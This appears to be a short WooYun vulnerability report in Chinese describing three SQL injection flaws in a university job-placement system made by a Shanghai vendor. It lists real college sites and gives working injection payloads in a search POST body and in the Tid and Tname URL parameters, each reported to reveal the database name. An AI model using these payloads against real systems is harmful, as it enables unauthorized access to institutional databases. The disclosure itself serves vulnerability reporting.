WooYun.org

上海甲鼎信息技术有限公司，高校就业信息服务系统
官网：http://www.infojiading.cn/
关键字：技术支持：上海甲鼎信息技术有限公司
上海立达职业技术学院学生就业信息服务网：http://www.lidapoly.edu.cn/job/asearch.asp
上海医疗器械高等专科学校学生处就业指导中心:http://job.smic.edu.cn/EntRegister1.asp
上海商学院就业指导服务中心:http://jiuye.sbs.edu.cn/EnterpriseReg.asp
等等
第一处SQL注入：
在搜索处存在SQL注入漏洞，可直接注入出数据。
以上海立达职业技术学院学生就业信息服务网：http://www.lidapoly.edu.cn/job/asearch.asp为例：
链接：http://www.lidapoly.edu.cn/job/asearch.asp
POST：Field=%D0%C5%CF%A2%B1%EA%CC%E2&ClassID=&keyword=123%25%27+and+db_name%28%29%3E0--&Submit1=+%CB%D1%CB%F7+
keyword参数存在注入，上面的语句可以注入出数据库名：IJCenterOfCareer
第二处SQL注入：
在企业注册时，检测用户名是否存在时，存在SQL注入。
以上海医疗器械高等专科学校学生处就业指导中心为例：
http://job.smic.edu.cn/conformID.asp?Tid=111111' and db_name()>0--,
上面的语句可以注入出数据库名：IJCenterOfCareer
第三处SQL注入：
在企业注册时，检测企业名称时否存在时，Tname参数存在SQL注入。
以上海医疗器械高等专科学校学生处就业指导中心为例：
http://job.smic.edu.cn/conformID.asp?Tname=111111' and db_name()>0--,
上面的语句可以注入出数据库名：IJCenterOfCareer